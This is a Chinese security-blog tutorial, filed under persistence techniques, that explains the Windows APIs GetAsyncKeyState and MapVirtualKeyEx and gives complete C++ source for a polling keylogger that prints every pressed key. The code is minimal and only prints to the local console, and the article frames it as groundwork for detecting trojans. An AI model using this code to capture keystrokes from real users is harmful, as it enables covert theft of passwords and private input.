【权限维持技术】Windows Api实现键盘监听器

admin 2023年12月17日00:37:18评论36 views字数 2221阅读7分24秒阅读模式
免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

GetAsyncKeyState
GetAsyncKeyState是Windows API函数,主要用于确定用户是否按下了键盘上的某个键,其原生的定义位于库"user32.dll"。
GetAsyncKeyState接受一个int参数,这个参数是一个虚拟键盘码(Virtual-Key Code),用来表示特定的键盘键。例如,虚拟键盘码"A"对应于键盘上的"A"键,打印屏幕(Print Screen)键对应的虚拟键盘码是0x2C(在十进制下表示44)。
函数返回一个16位的整数,其最高位(也就是签名位)用来表明那个键在函数调用时是否被按下。如果按下则返回-32767(最高位置为1),否则返回0或正数。低位用于表明键是否自从上次调用GetAsyncKeyState后有没有被按下过,按下过则返回1,否则返回0。“异步”键盘状态是在所有线程中共享的,如果在一个线程中调用GetAsyncKeyState,它将清除相应键的“按下”状态,无论哪个线程实际上做出了按键动作。
GetAsyncKeyState可以用来实现键盘记录器(Keylogger),通过在一个无线循环里连续调用这个函数并检查所有虚拟键的状态,就可以追踪用户按下的所有键。由于它不依赖于特定窗口的消息循环,所以它可以在后台运行,并且监控所有应用程序的键盘操作。
MapVirtualKeyEx
MapVirtualKeyEx 是Windows API函数,它用于将虚拟键码(Virtual-Key Codes)转换成不同的值。这个函数是 user32.dll 的一部分,支持多种转换类型,比如把虚拟键码映射到字符,或者把虚拟键码映射到硬件扫描码。此函数也可以根据提供的键盘布局来进行转换。
函数原型如下:
UINT MapVirtualKeyEx( UINT uCode, UINT uMapType, HKL dwhkl );
参数说明:
  • uCode:指定要转换的虚拟键码或扫描码。
  • uMapType:定义要执行的转换类型。
  • dwhkl:指定键盘布局的句柄。如果此参数为 NULL,函数使用当前激活的键盘布局。
uMapType可以是以下值之一:
  • MAPVK_VK_TO_CHAR:将虚拟键码转换为字符。如果虚拟键码不是字符(例如功能键),返回值为0。
  • MAPVK_VK_TO_VSC:将虚拟键码转换为键盘的扫描码。
  • MAPVK_VSC_TO_VK:将键盘扫描码转换为虚拟键码。
  • MAPVK_VK_TO_VSC_EX:类似MAPVK_VK_TO_VSC,但是区分左右位置的特定键(例如左Shift和右Shift)。
  • MAPVK_VSC_TO_VK_EX:类似MAPVK_VSC_TO_VK,但提供更精确的虚拟键码,尤其是对于扩展键。
使用 MapVirtualKeyEx 时,需要注意正确处理返回值,因为某些虚拟键码的转换可能不产生字符,而是控制码。此外,如果需要考虑Shift、Caps Lock或Num Lock等影响,可能需要结合其他API,例如ToAsciiEx或GetKeyState来获取完整的字符。
编程实践
有了上述两个API,就可以动手编写键盘监听器了。
  1. VisualStudio新建一个控制台应用:

【权限维持技术】Windows Api实现键盘监听器

2. 写一个无限循环,每次sleep一定的间隔,然后从1-254去获取每个键盘虚拟码的按下状态,如果状态激活则转换输出:

#include <iostream>#include <Windows.h>

int main(){    int duration = 100;    while (true)    {        for (int i = 1; i < 254; ++i) {            SHORT vkey = GetAsyncKeyState(i);            if (vkey & 0x8000) {                // 获取键盘布局                HKL layout = GetKeyboardLayout(0);                // 将虚拟键码转换为字符                UINT charCode = MapVirtualKeyEx(i, MAPVK_VK_TO_CHAR, layout);

                // 检查是否产生了ASCII字符                if (charCode > 0) {                    std::cout << static_cast<char>(charCode) << std::endl;                }                else {                    switch (i) {                        // 按键的例子,可根据需要增加更多按键                    case VK_LEFT: std::cout << "[LEFT ARROW]"; break;                    case VK_UP: std::cout << "[UP ARROW]"; break;                    case VK_RIGHT: std::cout << "[RIGHT ARROW]"; break;                    case VK_DOWN: std::cout << "[DOWN ARROW]"; break;                    case VK_RETURN: std::cout << "[ENTER]"; break;                    case VK_SPACE: std::cout << " "; break;                        // 其他按键...                    }                }            }        }        Sleep(duration);    }

}

3. 最后编译测试,成功输出我按下的按键:

【权限维持技术】Windows Api实现键盘监听器

总结
本文讲解了如何使用Windows API实现一个键盘监听器。键盘监听器是木马病毒的基础功能之一,了解其实现的背后原理和实现过程,有利于我们对木马病毒进行检测和防护。

原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows Api实现键盘监听器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月17日00:37:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【权限维持技术】Windows Api实现键盘监听器http://cn-sec.com/archives/2308516.html

发表评论

匿名网友 填写信息